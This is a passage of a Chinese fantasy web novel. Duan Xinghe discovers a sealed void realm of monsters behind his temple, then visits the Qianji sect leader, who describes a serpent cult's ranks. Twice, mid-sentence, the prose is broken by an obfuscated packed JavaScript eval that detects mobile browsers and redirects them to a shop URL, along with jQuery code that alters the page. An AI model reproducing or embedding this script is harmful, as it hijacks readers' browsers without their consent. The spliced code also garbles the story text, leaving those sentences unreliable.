段星河最近的事在正道中都传开了。瀚海已经知道他成为了蜀山的弟子,道:“施主一路斩妖除魔,救护了不少百姓。如今能加入天下第一大宗门,贫僧也很为你高兴。” 段星河微微一笑,道:“多谢大师。” 瀚海看他的气色,跟先前相比有了些好转,道:“之前我见你脸上浮着青气,如今似乎好了许多。” 段星河道:“我最近一直在静心练气,身体比从前调理的好了些。” 瀚海微微点头,段星河道:“大师这段时间去了什么地方,有何见闻?” 瀚海想了一下,道:“我从东南边过来,带着小徒沿途散播佛法,却被啸山宗的人抓了去,关了好几天。” 啸山宗就在巴蜀东南方向,段星河跟那帮人打过交道,知道那些人十分凶横无礼,道:“他们为什么抓你们?” 瀚海叹了口气,道:“他们不准我们在啸山宗的地界上传法,说谁要是敢念一句阿弥陀佛,就把他抓起来,不给饭吃、不给水喝、还要拿鞭子蘸盐水抽,一直打到悔改为止。” 段星河皱起了眉头,道:“天下宗门林立,各自凭本事发展壮大,哪有按头让人信这个不准信那个的?” 瀚海道:“谁说不是呢,唉……反正他们也没关我多久。后来贫僧趁他们换岗时大意,打倒了几个守卫,这才逃了出来。” 瀚海外号金钵法王,一生降过无数妖魔。他常年在外行走,脸庞晒得黝黑,身材锻炼得尤其结实,两条胳膊跟一般人的腿差不多粗,拳头攥起来有碗口一般大。他心地慈悲,一向主张与人讲道理,可若是动起手来,一般人还真不是他的对手。 段星河看他浑身上下也没有大的损伤,便放了心。他道:“然后呢?” “别的没什么了,”瀚海道,“贫僧皮糙肉厚的,挨几顿打也不妨事。我们本来打算北上继续游历,听说老朋友在此处,就过来看一看。” 他们这一路受了不少苦,需要一个休养的地方。段星河道:“大师就把这里当成自己的家,不必客气。” 瀚海大师微微颔首,想了想又道:“南宫青萝如何了?” 段星河端着茶杯的手一滞,水荡漾了数圈,渐渐平息下来。他轻声道:“他死了。” 瀚海大师十分诧异,欠身道:“怎么回事?” 段星河说了事情的经过,瀚海大师有些遗憾,良久叹了一口气,道:“阿弥陀佛,他也算得到解脱了。” 段星河垂下了眼,一想起当时的情形,心里还是很不好受。 结香从后边过来,行礼道:“段师兄,素斋做好了,现在用饭么。” 段星河站了起来,道:“走吧,用点便饭,等会儿带大师去客房休息。” 瀚海大师在白云观住下了,观里地方大,段星河很欢迎他在这儿住着。瀚海大师每天就在屋里打一打坐,闲来无事去练武场练一下拳脚。 莫嗔每天念完了经,就跟魏小雨他们一起踢球、粘知了猴。段星河自己小时候也不喜欢总在屋里坐着念书,如今也不约束他们。正是长身体的时候,多在外头跑一跑,晒晒太阳,对小孩子很有好处。 白云观后面有一大片空地,初夏时节,草长得又高又软,就算摔倒了也不疼。魏小雨带着莫嗔和三个小师侄在这里踢球,一群孩子大呼小叫的,玩的很开心。 原来他们人少,只能乱踢一通。如今人多了,就两人一组。晓风跟朝露一组,魏小雨和莫嗔一组,明月温吞吞的,被打发去当裁判。 他们在场地两边垒了两个石头窝,明月喊了一声开始,一群人一窝蜂地冲上来,拼命争抢。 前几天/朝露不会玩,不管三七二十一抱起球就跑,脑袋上的道髻都跑散了,披头散发的还十分兴奋。晓风追上来让她把球放下,她非但不听,还扭头咬了晓风一口,气得晓风好几天没理她。朝露觉得是晓风输不起,还小心眼儿。后来魏小雨知道了,笑了他们半天,说:“蹴鞠都是用脚踢的,不能用手拿,咬人就更犯规了。” 朝露还不服气,说:“为什么不能用牙咬,以前在街上有人欺负我,我就咬他们。那些人害怕,就不敢过来了。” 她在街上流浪过一阵子,没人保护她。她要是不凶一点,恐怕都活不到现在了。 魏小雨想起自己刚来到这边的时候,也受了不少苦,就因为啃了人家几口药草,差点被浩荡盟的人抓去杀了。这个世界不会因为谁是孩子,就对谁格外温柔,朝露也没有做错什么,她只是想保护自己而已。 魏小雨缓和道:“这是比赛嘛。如今跟在外面不一样了,有那么多师父保护你,以后谁欺负你,你就用拳脚打回去。” 朝露沉默着,若有所思。后来再踢球的时候,她就守规矩多了。但她的胜负欲太重了,有时候还是忍不住趁着混乱铲人。所以他们不得不分出一个人来当裁判,免得有人偷偷搞小动作。 莫嗔抢到了球,从右脚换到左脚,趁人不备传给了在前头接应的魏小雨。魏小雨以前在青岩山时就常常跟人踢球,虽然是个女孩儿,却踢得最好。朝露急道:“快拦住她!” 晓风追了上去,从侧面拦了一脚。魏小雨轻巧一跃,轻轻松松带球过人。朝露也冲了过来,气势汹汹地道:“看我的!” 明月连忙提醒道:“不准铲人,再铲人就罚下去了!” 朝露一迟疑,魏小雨已经抬脚一记远射,把球向门那边踢了过去。那一脚用力大了一些,球撞到石头上弹了起来。明月道:“没进!” 球斜斜向上飞去,众人生怕在深山里滚没了,连忙追了上去。到处都是石头和草木,一个棕色的皮球没了,实在很难找到。众人到处转了一圈,没找到球的踪影,都很失望。 “踢没了,怎么办?” 魏小雨摸了摸鼻子,道:“我弄丢的,我出零花钱再买一个好了。” 她觉得有点倒霉,但也没有办法。这时候就听咦的一声,莫嗔望着前头的天空,道:“你们看……那是咱们的球吗?” 众人围了过去,见半空中漂浮着个皮球。它没有任何东西支撑,就这么静静地停在那里。 大家都觉得奇怪,魏小雨跳了起来,伸手去够那个球。另外几个小孩儿也此起彼伏地跳了起来,一个个像雨后的青蛙一样,却都够不着。 皮球像被他们一脚踢到了一间悬空的屋子里,四周的墙壁是透明的。他们看得见里面的东西,却拿不到。 魏小雨不甘心,从地上捡起了一根长长的树枝,踮着脚戳了戳。奇怪的事发生了,树枝戳过去的一瞬间,魏小雨感到了一股力量,就像是碰到湖水的波动和浮力,微妙地排斥着她。魏小雨想把皮球扒拉出来,却听嗡地一声,树枝也被吸了进去,跟那个皮球一起悬在了半空中。 其他人都十分惊讶,魏小雨低头看着手,手心里还残留着那种嗡嗡的震感。明月道:“怎么回事?” 莫嗔有点害怕,道:“不知道,去告诉师父吧。” 道观后面有这么个奇怪的空间,是该告诉段星河他们。魏小雨道:“我去找大师兄,你们先回去吧。” 段星河没在自己屋里,而是在步云邪的丹房里待着。他用清净石打磨了个玉环,刚才拿了过来。步云邪确实很需要这种帮助人凝神专注的东西,高兴道:“多谢。” 他端详了片刻,发现玉环打磨的十分光滑,忍不住笑了,道:“回归老本行了是吧。” 段星河有好一阵子没玩砂纸了,最近练不进功的时候,就一直在摆弄这个玉环。他靠在椅背上道:“用机器打磨的没灵魂,我用手一点点搓的。你随便戴着,弄坏了我再给你做。” 他费了这么大功夫打磨的,步云邪自然不舍得弄坏,都有点舍不得用了。 段星河道:“戴上试试嘛。” 步云邪便拿了条深蓝色的丝绦系在两头,挂在了腰上,道:“好看么?” 他的身姿修长,腰带束出劲瘦的腰身,佩上玉环显得更加俊美。段星河欣赏道:“不错。” 他喝了一口茶,忽然见魏小雨跑了过来。她喘着气道:“大师兄……我就知道你在这里。” 段星河道:“怎么了?” 魏小雨道:“我们刚才在道观后面踢球,然后球一脚踢到天上去,就停在半空中了。我用树枝拨弄,结果树枝子也被吸进去了。” 段星河有点奇怪,站起来道:“去看看。” 他和步云邪一起去了道观后面的那块空地,找到了那颗悬浮着的皮球。段星河凝神观想,感觉半空中有一个独立的空间,里头充满了怨念和阴气。他回头看步云邪,道:“你觉得怎么样?” 步云邪沉吟道:“有个虚空境界,有点危险。” 这种东西不知道怎么会出现在四灵山的,或许它一直都存在,如果不是魏小雨把球踢了进去,它悄然浮在半空中,可能永远都不会被人发现。 段星河道:“你们等一下,我去看一眼。” 步云邪道:“太危险了,你——” 他话还没说完,段星河已经一个纵身跃了进去。他的身影如同钻进了帘幕中一般,变得模糊起来。步云邪有点焦急,还不知道里头怎么回事他就进去了,这也太虎了。 他和魏小雨在原地等了一盏茶的功夫,就见半空中微微动荡,段星河搂着那个皮球,轻轻跃了出来。步云邪松了口气,道:“怎么样?” 段星河的脸色铁青,一时间没说话,手里的皮球没拿住掉在了地上,魏小雨慌忙追着球跑了。步云邪更加好奇了,道:“到底怎么了,里头有什么?” 段星河仿佛看到了什么不得了的东西,出来这么长时间了还在瞳孔地震。他勉强定住了神,哑声道:“有一些……不太好说的东西,很奇怪。” 步云邪道:“到底是什么?” 段星河沉默下来,仿佛一想起来就觉得头皮发麻。魏小雨捡回了球,道:“有妖怪吗,它们会不会钻出来害人?” “出不来,”段星河道,“那里头到处都是符咒,它们只能在中心的一片地方活动。不过那地方蛮大的,深处可能还有更恶心的东西。” 步云邪越发好奇了,想要进去看一看。段星河一把拉住了他,道:“别看了。” 自家附近有这么一个奇怪的空间,实在让人不太舒服。段星河道:“反正它们出不来,你就当不知道,照常过咱们的就是了。” 这地方离道观说远不远的,不是刻意往这边走,也不耽误生活。步云邪还是想知道:“所以到底是什么东西?” 段星河拗不过他,想着刚才看到的情形,捡起一根树枝在地上画了几下,感觉不对,用脚擦掉了。他又画了几笔,奇异的画面充斥着他的脑海,那种厌恶感更加强烈了。那是一种不可名状,无法直视的恐怖,让人很不舒服。 魏小雨见他在地上画了个长着很多触手的怪物;又有一个形状奇怪,看起来软软的东西,上头满是圆圈。魏小雨道:“这圆的一堆是什么?” 段星河刚才只是远远地看了一眼,便起了一身鸡皮疙瘩。他道:“眼睛,此起彼伏的,在一大滩肉里蛄蛹。” 那两个人都露出了恶心的表情,终于明白他为什么这么一言难尽了。步云邪道:“这空间里为什么会有这么多吓人的东西?” 段星河摇了摇头,对此一无所知。那些东西虽然恶心,就力量而言,又是更高阶的存在。这个世界里,他们不明白的事还是太多了。他以为自己走了很多地方,见识了很多东西,其实到现在看到的,也不过是冰山一角而已。 魏小雨打了个寒战,道:“算了吧,我不想知道了……以后换个地方踢球,也没什么大不了的。” 段星河整个人还沉浸在那种难以名状的感觉中,脸色很不好看。步云邪道:“义灵使可能知道是怎么回事吧,等他睡醒了,问问他就是了。” 段星河没说什么,仿佛连提也不想再提了。他淡淡道:“不早了,回去吃饭吧。” 他说着迈步往回走去,很想把刚才看到的东西都忘个一干二净。步云邪回头看了半空一眼,段星河已经走远了。他连忙快步跟了上去,道:“星哥,等等我。” 回去之后,段星河一直沉默着,一想起那个虚空秘境就不寒而栗。 那里头到处都是一片混沌,天光像是半夜晦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14240274|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗不明的状态。看清楚那些怪物的瞬间,他这么多年对世界的认知都被打破了。狂风呼啸,怪物的低吼远远地传来,让人的灵魂都为之震颤。 那么多难以形容的怪物游荡在空间里,互相吞吃,又胡乱地交/媾,彼此攻击、侵吞对方来壮大自己,又被更强悍的怪物吞掉,到处弥漫着一股震人心魄的恐惧感。 金色的符咒漂浮在半空中,交织成金色的锁链,限制着那些怪物。 外围有些硕大的残骸,骨头和一些难以形容的东西都已经变成了石头。应该是有些怪物不甘心,想要逃出来。结果被符咒烧的遍体鳞伤,最终死在了秘境外围。 那里面的符咒相当厉害,段星河能感受到制作它的人灵力十分强大。有几只小一点的怪兽穿过铁链之间的缝隙,从他身边飘过,却好像没有觉察到他。 段星河当时按着剑没妄动,生怕跟捅马蜂窝似的,杀一个招来一群。后来寻思起来,说不定就是自己身上的清净石起了作用。那块石头能净化周身的气场,掩盖了他的生人气息。那些小怪兽以为他也是境界里的怪物,个头又比自己大,因此没敢攻击他。 他让孩子们不要去那边玩耍了,其他人也不要靠近那里。在搞清楚是怎么回事之前,还是不要跟那些东西扯上关系为妙。 安静地过了几日,这一天上午,段星河正在屋里打坐,忽然听见有人过来敲门。 段星河起身道:“什么事?” 伏顺在门口道:“大师兄……不好了,又有人来了。” 段星河道:“有人来又怎么了,慌什么?” 伏顺道:“不是……是千机门的人,叫渠什么的那个,在外头等着呢。他说想给你送封信,让进么?” 段星河一诧,白云观早先挨了两回轰炸,头一遭便是被千机门的人害的。他心中一凛,连忙迈步赶了出去。 宋胡缨和瀚海大师已经在门口拦着了,一左一右跟门神一样。宋胡缨手里提着斩马/刀,冷冷道:“你来干什么!” 那人穿着一身铁灰色的道袍,骑着机械仙鹤飘浮在道观门前,却是千机门的首徒渠阳子。他一副优哉游哉的模样,道:“别这么紧张嘛,师父让我来送封信,你们家做主的人呢?” 段星河来到门前,冷冷道:“阁下有什么事?” 渠阳子微微一笑,道:“段兄,好久不见了。听说你们在白云观落了脚,师父让我来送贺礼。” 他从仙鹤背上掀起一块铁板,从里头取出了几个盒子,道:“上好的何首乌和雪莲,还有一些难得的药材。你家有个炼药的小郎君是不是,替他收着吧!” 他把成堆的锦盒抛了过去,段星河站着没动。伏顺接了个满怀,往后倒退了一步。这些人跟其他邪修一样,也崇尚弱肉强食。之前白云观的道士软弱可欺,千机门的人就放机关兽掠夺此地的灵力,还杀了不少人。如今段星河把这里接了过来,他们非但不敢再放机关兽来侵犯,反而上赶着送贺礼,也是很会看人下菜了。 渠阳子从怀里掏出了一封信,上面盖着千机门主的火漆印章,是一只鹈鹕的形象。他道:“家师请段公子把信看完,让我捎个口信回去。” 段星河拆开了信,见里头的笔迹十分纤细,是用鹅毛笔所写,字迹倾斜颇为漂亮。信中写道:“吾友,一向可好。虽然你我未曾谋面,但我已听闻了你很多事迹。先前阁下请我小儿调查之事,已有结果。阁下深受虺神青睐,自当是我等的贵客。若阁下不弃,还请来通天岛上一叙。某已备茶酒,静候阁下前来——千机门门主裴千秋。” 段星河一诧,之前那个杂耍班子的人用融合兽害死了师父魏清风。段星河一直想调查那帮人到底是什么来历,可后来他走了很多地方,一直没有再遇见他们。那些人奇形怪状的,若是出现了,必然很引人注意,可他们好像就这么人间蒸发了一样。 段星河一度怀疑是千机门的人干的,毕竟天底下只有千机门会制作融合兽和机关兽。后来在酒楼相见,他曾经质问过千机门的少主。裴少卿却十分冤枉,说必然是有人利用他们卖出的融合兽做了坏事,他们对此完全不知情。 铁匠虽然卖刀,但也不必为卖出的每一把刀负责。不过就算如此,裴少卿也答应了帮他查找线索。过了这么久,段星河以为他们没有下文了,没想到千机门的人这时候回复了他。 对方知道他对什么最感兴趣,抛出了追查的结果来钓他。段星河确实无法拒绝这个条件,然而他刚弄坏了千机门的机关兽,又杀了千机门的人,对方还没跟他们算账,这次去不知道是不是一场鸿门宴。 渠阳子坐在鹤背上,衣袂在风里飘飘荡荡的,耐心等着他的答复,道:“段公子,我们教主诚心邀约,你意下如何?” 段星河沉默着,一时间没有回答。千机门的人表面上对他们还算客气,但实际上怎么想的很难说。这些人骨子里也视人命如草芥,论起心肠之歹毒,与万象门的人不遑多让。 他静了片刻,道:“最近观里事忙,我再考虑一下,阁下先回去吧。” 他没答应去,倒也没有拒绝。渠阳子明白这就是他的答复了,微微一笑道:“好,那我先回去。阁下若是得空,请来岛上坐一坐,我们都欢迎之至。” 他拱手行了一礼,驾着机械仙鹤飞了起来,向北边去了。众人松了口气,段星河手里攥着信,往回走去。伏顺怀里抱着小山似的一堆锦盒,道:“大师兄,你慢点……拿不了了。” 步云邪听说千机门的人来了,出来看时,见段星河已经进了花厅。伏顺把东西堆在了墙角,道:“二师兄,都是药材,要用么?” 步云邪道:“先放那儿吧,有空我验验毒再说。” 步云邪低声问了伏顺几句,得知了怎么回事。段星河坐在上首,手里捏着那封信,一直沉默着。千机门的人若是想跟他们动手,直接来阴的就是了,没必要专程送信来邀请。 步云邪虽然想追查师父的死因,但也怕对方不怀好意。他们的修为已经今非昔比了,若是对方想要扣留,他们至少也能全身而退。 步云邪道:“星哥,如果你想去,我就陪你。” 瀚海大师道:“贫僧的修为尚可,我也可以陪你。” 宋胡缨道:“我也去。” 这个世界还有很多他们不清楚的事,就如同那个虚空境界,里头为何会关着那么多怪物。万象门到底想要做什么,千机门又为何跟他们争斗不休。世间无数人生灵涂炭,都因为他们之间的争端而生。若是去了,总能弄清楚一二。 段星河的目光落在那封信上,火漆上的鹈鹕图腾侧面对着人,巨大的囊袋代表着无尽的贪婪,也隐藏了许多秘密。段星河下定了决心,道:“那就去一趟。伏顺,哥托付你件事。” 伏顺道:“大师兄只管说。” 段星河道:“我们一来一回,大约要花一个月的时间。如果到时候没回来,你就去蜀山,跟天玺真人报备这边的事。” 他怕师父阻止自己,不敢先说此事。伏顺有点担忧,道:“哥……要不然就别去了吧?” 段星河淡淡道:“他们的人说来就来,咱们也总不能怕了他们。放心吧,不会有事的。” 他下定了决心,目光投向了远方,仿佛已经看到了烟波浩渺的小岛。还有更多未知的事在等着他们,前方的重重云障,也该揭开了。 【第二部完】 111.秘境 一 大海蔚蓝,浪涛微微起伏,一艘大船缓缓驶向前方。 薄雾散去,一座小岛出现在目极处。段星河穿着一身墨蓝色的衣袍站在船舷边,拿起千里镜向前方望去。 视野里,沙滩一片银白。有许多竹竿和白帆组成的怪兽在沙滩上,每一只都有许多脚,看起来很轻巧,被风一吹便能自行走动。 “有意思……” 那些怪兽都有一人来高,有的身体长长的像龙,有的像牛羊一样,做的细致的还有角和耳朵。千机门的人一向喜欢做一些奇巧的玩意儿,这些东西放在小岛外围,与其说是巡逻用的,不如说是老门主聊发少年狂,放在外面看着解闷的。 步云邪接过了千里镜,也看到了那些靠风力行走的小怪物,道:“据说那老头儿好几百岁了,怎么还跟个小孩儿似的。” 段星河扬起了嘴角,道:“就是因为活了好几百年,太无聊了,才会这样吧。” 离海岛越来越近了,步云邪放下了千里镜,肉眼就能望见前方有个高大的古堡。厚实的石砖被大雾迷蒙着,透着岁月的沧桑感。他们在钦天监见过这样的西洋画,知道西方大陆上的贵族住的是这样的宫殿。千机门的人受西方大陆的影响很大,更加倾向那边的文化。 十天前他们从巴蜀北上,到大陆北方雇了一艘船,往千机门的总舵驶去。一并来的还有步云邪、宋胡缨和瀚海大师。六幺和李玉真在家保护其他人。 海鸥大声鸣叫着,围着海岸盘旋。大船停靠在了码头上,段星河等人下了船,一群千机门的守卫围了上来,道:“什么人?” 段星河出示了信件,道:“我叫段星河,是你们门主邀请我来的。” 守卫队长认出了信封上的火漆印记,道:“原来是门主的客人,请跟我来吧。” 众人跟着队长往城中走去。这座小岛从远处看着一般,其实规模不小。街道纵横,房屋整齐,桥梁、钟楼、高塔错落有致,建设的很发达。这边的街道跟大陆上的不同,都是西洋风格。贵族穿着西式的服装,骑着机械与骏马融合的千金骨从他们身边经过,还有机械融合的鹰在天上盘旋。 他们走在路上,见路边有些圆滚滚的竹笼子在草坪上滚动,里头飘浮着黑色的灵光,像是一个个硕大的眼睛。宋胡缨有些好奇,道:“那是什么?” 队长看了一眼,道:“风滚草。” 宋胡缨见过风滚草,被风吹到哪儿算哪儿,这名字起的倒是挺形象。她道:“沙滩上那些呢?” “也是风滚草,监控周围情况用的。”队长道,“客人喜欢的话,我跟大师兄说一声,送给你们几个。” 宋胡缨虽然感兴趣,但还是正事要紧,道:“不用了,我就是随便问问。” 几人走进了城堡,被带到了一间大殿里。这里的窗户上方是拱形的,还有几扇窗户用彩色玻璃拼成玫瑰花的形状。阳光照进来,影子斑驳陆离的很是好看。窗户边垂着红色的帷幔,地上铺着长绒地毯。桌椅家具做得很厚实,上头装饰着藤蔓花纹。 众人等待片刻,几个机器人给他们送来了茶水,又有几份像中药一样的饮料。那些机器人都穿着人类的衣服,手上的关节十分精巧,放下盘子就走到一旁待命了。宋胡缨拿起杯子闻了闻,感觉一股焦炭味,道:“什么味道,好奇怪。” 一人出声道:“是咖啡,姑娘喝不惯的话,可以喝茶。” 众人回过头,见裴少卿和一个银须白发的老人走了进来。白发老人在上首坐下了,裴少卿在一旁站着,微微一笑道:“好久不见了,段兄。” 上次他们见面,还是在大幽。裴少卿想招纳他们加入千机门,段星河却怀疑他们杀了自己的师父,要求他们给个说法。裴少卿十分无辜,说自己对此并不知情。如今再次相见,居然是在千机门总舵,连段星河都觉得世事变化无常。 裴少卿道:“介绍一下,这是我父亲,千机门主裴千秋。” 段星河等人站起身来,道:“见过裴门主。” 裴千秋的头发虽然白了,脸上的皱纹还不算太多,看起来也就六十出头的样子。他生的高鼻深目,似乎有西洋人的血统。他的身板挺直,穿着一身白色的西式衣裳,脸上戴着一副金丝眼镜,姿态十分优雅。他们父子俩的容貌十分相似,裴千秋年轻的时候,应该跟裴少卿差不多。 算起来,这老头儿应该有八百来岁了,比蜀山的天玺真人年纪都大。段星河站在他面前,感觉看到了一块活化石。裴千秋看着段星河,神色里带着一丝玩味,露出了淡淡的笑容。 他开口道:“欢迎几位小友,很高兴你们接受了我的邀请,请坐吧。” 他一开口,便有一种上位者的威严,态度又颇为和气。大殿两侧有几把高背椅,众人坐下了。段星河在四灵山毁了他们的机关兽,杀了千机门的人,心里对他有所提防。裴千秋知道他在想什么,淡然道:“前段时间我们的人跟你们在四灵山起了点冲突,不过没关系,一些小摩擦而已,本座没放在心上,你们也不必在意。” 众人互相看了一眼,悄然松了口气。裴千秋道:“本座虽然深居在通天岛上,也听过你们的名字,对诸位小友很感兴趣。今日一见,果然都是少年英雄。” 段星河平静道:“阁下过誉了,门主也是一派高人风范,风采过人。” 裴千秋微微一笑,道:“客气的话不多说了。之前你托我们调查的事情,有眉目了。” 此言一出,众人的注意力都集中起来,抬头望着他。裴千秋道:“本座让人追查过了,那头融合兽转了好几道,最后去了万象门。” 段星河神色淡淡的,显然不怎么相信。千机门和万象门一向是死对头,说不定这老头儿就是在挑拨离间,想利用自己去对付万象门,好搞个两败俱伤。 裴千秋知道他在怀疑自己,道:“没关系,以后你自己会慢慢发现是怎么回事的。” 段星河道:“你们跟他们是敌人么?” “不算,”裴千秋轻描淡写道,“其实原来还是同僚呢。我们到现在也没有对立,只不过都在争罢了。” 段星河道:“争什么?” 裴千秋道:“争取获得虺神的信赖,做它最忠诚的仆人。它会赐给我们至高无上的力量。” 他抬手一挥,宝座后面的幕布向两边开了,露出了一面墙壁。墙上用宝石镶嵌了一条巨大的蛇,那条蛇呈曲形盘踞着,占据了正面墙壁。大蛇双眼赤红,额心镶嵌着一块青金石,蛇鳞是用无数凸起的黑曜石拼接成的,身后生着一双紫色的翅膀。它的形象跟青岩山禁地里的壁画一样,阳光透过窗户照在它身上,折射出无数光芒,透出一股神秘而又强大的气势。 众人都十分惊讶,段星河道:“这是……万象门的图腾,怎么会在你们这里?” 裴千秋道:“不,这是虺教的图腾,只不过被他们窃据了而已。确切地说,谁成为了被虺神认可的仆人,谁就有资格使用这个图腾。” 段星河道:“你知道他们的事?” 裴千秋微微一笑,道:“怎么不知道,没有比我更清楚的了。” 段星河自打来,就像被困在迷雾之中,着实很想知道那些人的事。先前他混进了永夜城中的分舵,但对方保密十分严格,他作为底层的玄鬼,也没能获得多少信息。他道:“能说说么?” 裴千秋道:“他们的教众分为三层,底层是伥鬼和玄鬼。玄鬼身穿黑衣,负责打打杀杀,就是一般的侍卫。伥鬼身穿白衣,包括普通人类和死在他们手下甘愿为他们驱使的鬼魂,专干一些见不得人的脏活。” 这些段星河卧底的时候就知道了,他没说话,裴千秋道:“中层是大伥,一般是社会上有身份的人,掌握着大量的资源,有一定的影响力。一些有钱有势的人加入进来就是大伥,长生观的观主便是大伥,修炼有成的鬼魂也能升为大伥。有了这些人的加入,万象门就能更方便地渗透到各个层面,掠夺资源,掌握权力。在你们没意识到的情况下,他们的影子已经遮蔽了大半个天下了。” 他看着那副壁画,仿佛看到了蛇硕大的翅膀展开来,覆盖了整片大陆。 段星河想起了万通商会,会长钱百富就曾经被万象门的人招揽。因为拒绝了他们,钱会长被大妖暴食缠着,受尽了折磨。这样的事肯定不止一件,默默屈服的人,或者不幸被害死的大有人在,段星河碰上的也只是其中一个而已。 裴千秋继续道:“万象门中层的统帅是左右使者,一个叫赤练使,主管女众。一个叫金环使,主管男众。他们之间也经常交换信徒,参悟修行。” 段星河道:“什么意思?” 裴少卿在一旁出了声,轻蔑地说:“就是乱搞男女关系。一部分精英加入万象门是为了长生、获得资源往上爬,时间久了得到想要的东西了,就要享受。新招进来的信徒,年轻男女有色相的,就去给那些人服务,干得好的就成为大伥,获得更好的待遇。当然更多的人在这个过程中就被玩死了,还觉得自己为虺神做了贡献。其实呢,根本没人知道他们是谁。” 众人都觉得太荒谬了,裴少卿一副淡然的模样,道:“世间的邪宗多半如此,有什么好大惊小怪的。” 段星河道:“夜游神也是这样么?” 裴千秋缓缓道:“他冷酷无情,对这些肤浅的东西不感兴趣,一直痴迷于修炼。他是虺神最锋利的剑,谁挡了万象门的道,他就杀谁——囚禁四灵神、杀七暗卫、屠无双城。一夜之间死了将近十万人,他连眼都不眨一下。” 他的神色严峻,仿佛想起来还心有余悸。那毕竟是很久远的事了,众人只觉得那人的威势逼人,但又没有太切实的感觉。 义灵使凭一己之力就能救活蜀山众多中了尸毒的弟子,让他们都叹为观止。然而夜游神却能降服它,后面还陆续降服了另外三位灵神,其手段和力量之强悍简直如同恶魔。段星河一想到这些,手心里就渗出了冷汗。幸亏那人已经不在了,如果他还在世间,不知道还有多少人要受他荼毒。 裴千秋淡淡道:“赌场老板是不会沉迷于赌博的,酒色是用来迷惑不开智慧之人的东西,是操纵愚痴者的利器。” 段星河道:“那你呢,你对什么感兴趣?” 裴千秋伸出了苍老的手,缓缓摩挲着身边的一个小机器人,眼神充满了怜爱,道:“真正的快乐是成就感,修道之人自然是追求飞升。如果不修道,本座就专心研究机械,机械简直是世界上最迷人的东西。” 段星河记得渠阳子的心脏已经坏掉了,换成了人工的,靠邪力灵核催动。不知道这老头儿身上有多少零件坏了,活了好几百岁,他的身体已经换的差不多了。如果再不飞升,他恐怕也支撑不住了。 裴千秋道:“在两个使者之上,便是万象门的教主,名叫纪秋暝。这都是人的范畴,再往上的日游神和夜游神代表着蛇的双翼,已经是半神的存在了。本座在通天岛上隐居多年,不问世事,夜游神也已经失踪了许多年。最顶端的就是无所不能的虺神,它创造了这个世界,是我们力量的源泉。” 段星河道:“你是日游神,跟夜游神是朋友,还是对头?” 裴千秋看着他,又仿佛透过他看着其他的什么人。他淡淡道:“说不上是朋友还是敌人,应该说是惺惺相惜吧,毕竟世间有这么一个值得惦念的人,也能不寂寞。” 他想了想,道:“外头的人是怎么说万象门的?” 段星河道:“万象门害了太多人,正派各大宗门都恨不能将他们除之而后快。” 裴千秋一扬嘴角,道:“所以本座不想掺和他们的事,这些年待在岛上如隐居一般。你们要对付他们,那也请便。” 段星河道:“你们不也供奉虺神么,万象门没了,你们好坐收渔利?” 裴千秋笑了,道:“我们跟他们不一样,这个世上有太多不公平的事,我们若是得到了虺神的青睐,就要打破旧的秩序,建立一个平等的新世界。” 其他人都一副不信的模样,段星河知道他只是说得好听,力量若是落到了他们的手里,也不过是从一个魔头转移到另一个魔头的手里罢了,大家依旧没有好日子过。 裴千秋坐回椅子上,道:“还有什么想问的么?” 段星河想了想,道:“我们在外游历的时候,见到了一个虚幻的空间,里头关着不少怪物和灵体,是怎么回事?” 裴千秋道:“在哪里见的?” 段星河不想说是在自家院子后头发现的,含糊道:“在夷州。” 裴千秋笑了,道:“这种事很常见,凤神和虺神打架,互有来往。夜游神当年奉虺神的命令弄了很多结界,封印着凤神的部下。凤神也弄了很多虚空境界,关着一些虺神的仆人。” 听起来就像两个人打架把房子弄破了,你打一个补丁,我打一个补丁,世界破破烂烂的,全靠补丁兜着。 裴少卿见过那种虚空境界,也道:“那些怪物有的是被关进去的,有的是自愿躲进去的。妖物也有怕人的,并非都是穷凶极恶之辈,不过它们也没干过什么好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14252604|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事。不要用人类的标准来评判,只要它们不出来害人,不必管它们就是了。” 段星河沉默着,想知道的事情都已经问完了。裴千秋道:“本座已经帮你查出凶手了,信不信都随你。” 段星河只觉得他是想借刀杀人,自己总不至于为他一句话就去跟人拼命。他淡淡道:“你为什么要帮我?” 裴千秋道:“你身上有虺神的赐福,本座很欣赏你。再说查一查线索,对我来说也不过是举手之劳罢了。” 段星河皱起了眉头,他们认为的赐福,对于自己来说却是噩梦般的诅咒。无数邪宗的人对此趋之若鹜,就像苍蝇闻见了血,杀也杀不尽。而且杀得越多,段星河被煞气侵蚀的就越严重。 裴千秋从宝座上起身,缓缓走到了段星河面前,道:“本座真的很欣赏你,你有没有考虑过,跟我们合作?” 如果段星河加入千机门,将他身上的煞气催生放大数千倍万倍,那股力量足以供养千机门战胜万象门。裴千秋一直想获得的,就是虺神的青睐。他除了飞升之外,在人间的野心便是吞并万象门,统一虺教,成为虺神在这世间唯一的代行者。 到时候整个世界的邪力由他一人掌握,那将是多大的力量! 段星河明白他的意思,斩钉截铁道:“在下已经加入了蜀山,不可能另投别派。” 裴千秋也知道他会如此答复,这里是他的地盘,若是他要强行扣押他们,少不得要打上一架了。 裴千秋却没有要用强的意思,淡淡道:“世间之事变化无常,小友还是别把话说的太满了。” “不可能就是不可能,”段星河冷冷道,“我绝不会放弃自己的意志,屈从于邪恶。” 